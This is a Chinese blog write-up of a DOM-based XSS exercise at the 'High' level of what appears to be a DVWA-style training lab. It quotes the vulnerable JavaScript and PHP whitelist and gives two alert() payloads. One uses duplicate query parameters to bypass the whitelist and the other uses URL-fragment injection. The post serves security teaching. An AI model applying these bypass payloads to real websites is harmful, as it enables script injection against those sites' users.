关于那些web漏洞--xss(dom)_残月01的博客-爱代码爱编程
High
1、点击select,get方式将数据发回到当前页面。
审查元素:
2、"select"之后就重新请求这个页面,其中包含的js脚本和php脚本执行。
// js代码,这部分控制select模块
if (document.location.href.indexOf("default=") >= 0) {
// 获取default键的值
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
// 输出2个option选项
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
// 再输出4个默认的option选项
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
# 后端php代码
<?php
# 检查default值是否接受
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# default值的白名单
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
# 如果default不是以上的值,重定向
default:
header ("location: ?default=English");
exit;
}
}
?>
3、js代码操作dom树,得到的模块:
4、一个payload:
?default=</option></select><script>alert(11)</script>&default=English
这里用到的小技巧是:如果GET型发送多个同名的键值对,那么后端$_GET只接受它们中的最后一个(覆盖)。这个payload就利用后一个default键值对绕过php的白名单。同时,前面一个default键值对被js代码获取,js获取到的default值是:
</option></select><script>alert(11)</script>&default=English
这部分替换decodeURI(lang)就成功注入js代码了。
5、另一个payload:
?default=English #<script>alert(/xss/)</script>
这个payload是利用url的hash部分("#“及”#“之后的部分),这样$_GET只接受到”#"前面的部分,而不会丢失js代码。
6、有一点要注意:输入的payload含有很多特殊字符,所以浏览器会对它们进行URL编码。而js代码中的decodeURI函数就是用来URL解码的,如果没有这个函数,那么payload还是URL编码的形式,无法成功被浏览器解析成js代码,也就无法攻击了。其实这也是最后的impossible级别采用的修复方法。